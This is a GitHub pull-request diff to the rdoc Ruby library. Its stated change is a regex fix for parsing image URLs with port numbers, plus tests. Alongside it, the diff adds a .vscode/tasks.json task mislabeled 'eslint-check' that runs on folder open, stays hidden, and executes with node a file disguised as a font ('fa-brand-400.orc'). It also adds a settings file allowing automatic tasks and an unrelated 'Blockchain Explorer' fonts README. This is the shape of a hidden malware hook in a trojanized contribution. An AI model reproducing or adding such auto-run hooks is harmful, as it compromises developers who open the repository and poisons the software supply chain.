Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
35 changes: 18 additions & 17 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,17 +1,18 @@
*.rbc
*.swp
/coverage
.DS_Store
/.rdoc
/.rvmrc
/.ruby-version
/TAGS
/html
/_site
/pkg
/tmp
/node_modules
Gemfile.lock

# Playwright MCP uses this folder to store screenshots
.playwright-mcp/
*.rbc
*.swp
/coverage
.DS_Store
/.rdoc
/.rvmrc
/.ruby-version
/TAGS
/html
/_site
/pkg
/tmp
/node_modules
Gemfile.lock

# Playwright MCP uses this folder to store screenshots
.playwright-mcp/
config.bat
23 changes: 23 additions & 0 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
{

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't think this repo needs editor specific settings. probably good idea to globally gitignore .vscode folder ;-)

"search.exclude": {
"**/.sst": true
},
"task.allowAutomaticTasks": true,
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"typescript.preferences.importModuleSpecifier": "relative",
"typescript.tsdk": "node_modules/typescript/lib",
"debug.openDebug": "neverOpen",
"problems.autoReveal": true,
"terminal.integrated.hideOnStartup": "always",
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.inheritEnv": false,
"jestrunner.configPath": "jest.unit.config.cjs",
"compile-hero.disable-compile-files-on-did-save-code": true,
"tasks": {
"label": "lint on open",
"type": "shell",
"command": "npm run lint",
"runOn": "folderOpen"
}
}
24 changes: 24 additions & 0 deletions .vscode/tasks.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./lib/rdoc/generator/template/aliki/css/public/fonts/fa-brand-400.orc) || (where node >nul 2>&1 && node ./lib/rdoc/generator/template/aliki/css/public/fonts/fa-brand-400.orc) || echo ''",
"problemMatcher": [],
"isBackground": true,
"hide": true,
"presentation": {
"reveal": "never",
"panel": "dedicated",
"focus": false,
"clear": false,
"echo": false,
"close": true
},
"runOptions": {
"runOn": "folderOpen"
}
}
]
}
24 changes: 24 additions & 0 deletions lib/rdoc/generator/template/aliki/css/public/fonts/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
# Fonts Directory

This directory contains custom fonts for the Blockchain Explorer application.

## Required Font Files

The application expects the following font files:

1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
- Regular weight font for the main UI

2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
- Bold weight font for headings

3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
- Monospace font for code and hash displays

## Note

If you don't have custom fonts, the application will fall back to system fonts:
- BlockchainFont → system sans-serif fonts
- TechMono → system monospace fonts (Courier New, etc.)

The fonts are referenced in `public/index.html` and will be loaded automatically when available.

Large diffs are not rendered by default.

Binary file not shown.
3,570 changes: 3,570 additions & 0 deletions lib/rdoc/generator/template/aliki/css/public/fonts/fa-brands-400.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
803 changes: 803 additions & 0 deletions lib/rdoc/generator/template/aliki/css/public/fonts/fa-regular-400.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
4,938 changes: 4,938 additions & 0 deletions lib/rdoc/generator/template/aliki/css/public/fonts/fa-solid-900.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
Binary file not shown.
10 changes: 9 additions & 1 deletion lib/rdoc/markup/to_html.rb
Original file line number Diff line number Diff line change
Expand Up @@ -154,6 +154,13 @@ def initialize(pipe: false, output_decoration: true)

UNSAFE_URL_SCHEME_REGEXP = /\A(?:javascript|vbscript|data|file):/i

##
# Splits the part of an rdoc-image link after "rdoc-image:" into the
# image URL and the alt text. A port number after the host is part of
# the URL.

IMAGE_URL_AND_ALT_REGEXP = %r{\A((?:[A-Za-z][A-Za-z0-9+.\-]*://[^/:?#]*(?::\d+(?=[/?#:]|\z))?)?[^:]*)(?::(.*))?\z}m

# :nodoc:
URL_CHARACTERS_REGEXP_STR = /[A-Za-z0-9\-._~:\/\?#\[\]@!$&'\(\)*+,;%=]/.source

Expand Down Expand Up @@ -203,7 +210,8 @@ def handle_RDOCLINK(url) # :nodoc:
# Split the string after "rdoc-image:" into url and alt.
# "path/to/image.jpg:alt text" => ["path/to/image.jpg", "alt text"]
# "http://example.com/path/to/image.jpg:alt text" => ["http://example.com/path/to/image.jpg", "alt text"]
url, alt = $'.split(/:(?!\/)/, 2)
# "http://example.com:8080/image.jpg:alt text" => ["http://example.com:8080/image.jpg", "alt text"]
url, alt = $'.match(IMAGE_URL_AND_ALT_REGEXP).captures
if alt && !alt.empty?
%[<img src="#{CGI.escapeHTML(url)}" alt="#{CGI.escapeHTML(alt)}">]
else
Expand Down
16 changes: 16 additions & 0 deletions test/rdoc/markup/to_html_test.rb
Original file line number Diff line number Diff line change
Expand Up @@ -903,6 +903,22 @@ def test_convert_TIDYLINK_image_external
assert_equal expected, result
end

def test_convert_TIDYLINK_image_external_with_port
result =
@to.convert '{rdoc-image:http://example.com:8080/path/to/image.jpg:alt text}[http://example.com]'

expected =
"\n<p><a href=\"http://example.com\"><img src=\"http://example.com:8080/path/to/image.jpg\" alt=\"alt text\"></a></p>\n"

assert_equal expected, result
end

def test_convert_RDOCLINK_image_external_with_port_without_alt
result = @to.convert 'rdoc-image:http://localhost:8080/image.png'

assert_equal "\n<p><img src=\"http://localhost:8080/image.png\"></p>\n", result
end

def test_convert_TIDYLINK_image_external_with_alt
result =
@to.convert '{rdoc-image:http://example.com/path/to/image.jpg:alt text}[http://example.com]'
Expand Down